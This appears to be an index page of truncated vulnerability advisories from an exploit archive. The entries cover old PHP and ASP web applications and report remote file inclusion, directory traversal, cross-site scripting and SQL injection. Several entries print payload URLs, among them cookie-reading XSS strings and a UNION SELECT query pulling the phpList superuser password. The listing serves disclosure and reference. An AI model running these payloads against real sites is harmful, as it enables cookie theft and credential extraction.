Knusperleicht FAQ 1.0 Script - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/19272/info FAQ Script is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the conte...

MyBulletinBoard (MyBB) 1.x - usercp.php Directory Traversal

MyBulletinBoard MyBB 1.x - usercp.php Directory Traversal source: https://www.securityfocus.com/bid/19195/info MyBulletinBoard is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to retrieve arbitrar...

AspBB Forum "profile.asp & default.asp" XSS Vulnerability

This xss works on Aspbb Forums Homapage : http://www.aspbb.org Version : 0.5.2 Exploit: http://www.example.com/default.asp?action="scriptalert'Xss Vulnerability';/script http://www.example.com/profila.asp?get="scriptalert'Xss Vulnerability';/script&URL=2FDefault2Easp3F TeufeL // Netkabus.Com...

DMCounter 0.9.2 -b - 'Kopf.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/17756/info DMCounter is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious P...

vCard2x.txt

Hello Vulnerable: vCard 2.x http://www.belchiorfoundry.com Exploit : http://example.com/vcard/create.php?cardid='alertdocument.cookie http://example.com/vcard/create.php?uploaded='alertdocument.cookie http://example.com/vcard/create.php?cardfontsize='alertdocument.cookie...

PowerPortal Cross-Site Scripting Vulnerability

NightWarriorKurdish Hacker nightwarrior771athotmail.com PowerPortal Cross-Site Scripting Vulnerability Contact :nightwarrior771athotmail.com http://powerportal.sourceforge.net/ Vuln XSS : http://www.example.com/modules/content/search.php?func=results&search=XSS...

phpList.txt

http://example.com/lists/admin/?page=members&id=1%20union%20select%20null,password,null,null%20from%20phplistadmin%20where%20superuser=1/sppassword Although not completely open because one must authenticate, but completely leaves the database open.. thus being a SQL Injection hole...